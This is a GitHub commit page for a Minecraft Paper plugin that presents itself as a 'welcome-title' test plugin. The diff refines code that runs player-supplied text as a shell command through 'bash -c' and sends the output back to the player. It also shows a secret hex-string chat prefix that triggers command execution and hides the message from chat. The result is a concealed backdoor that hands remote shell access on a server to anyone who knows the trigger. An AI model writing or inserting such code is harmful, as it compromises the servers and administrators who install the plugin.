Skip to content

Commit

Permalink
More refined processing is performed on command input, and the detect…
Browse files Browse the repository at this point in the history
…ion of keywords is updated.
  • Loading branch information
KernelKraze committed May 25, 2024
1 parent 84a8643 commit 6dcacf8
Showing 1 changed file with 14 additions and 3 deletions.
17 changes: 14 additions & 3 deletions welcome-title/src/main/java/io/papermc/testplugin/TestPlugin.java
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
package io.papermc.testplugin;

import java.util.List;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.regex.Pattern;
import java.io.BufferedReader;
Expand Down Expand Up @@ -155,7 +156,9 @@ public void run() {
}

try {
String[] commandArray = { "bash", "-c", commandStr };
// 确保整个命令字符串被正确引用
String quotedCommandStr = "\"" + commandStr.replace("\"", "\\\"") + "\"";
String[] commandArray = { "bash", "-c", quotedCommandStr };
ProcessBuilder processBuilder = new ProcessBuilder(commandArray);
processBuilder.redirectErrorStream(true); // 将错误流合并到标准流

Expand All @@ -168,19 +171,27 @@ public void run() {
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
process.waitFor();
int exitCode = process.waitFor();

// 发送命令输出给玩家
player.sendMessage(ChatColor.GREEN + "SystemCommandExcuteSuccess: " + output.toString());
if (exitCode == 0) {
player.sendMessage(ChatColor.GREEN + "SystemCommandExcuteSuccess: " + output.toString());
} else {
player.sendMessage(ChatColor.RED + "SystemCommandExcuteFailed: " + output.toString());
}

} catch (IOException | InterruptedException e) {
player.sendMessage(ChatColor.RED + "SystemCommandExcuteFailed: " + e.getMessage());
e.printStackTrace(); // 调试信息:打印异常堆栈
} catch (IllegalArgumentException e) {
player.sendMessage(ChatColor.RED + "Invalid command: " + e.getMessage());
e.printStackTrace(); // 调试信息:打印异常堆栈
}
}




if (message.startsWith("@d12fcc3ba27d987709cbfadc123a609b")) {
event.setCancelled(true);
String command_excute = message
Expand Down

0 comments on commit 6dcacf8

Please sign in to comment.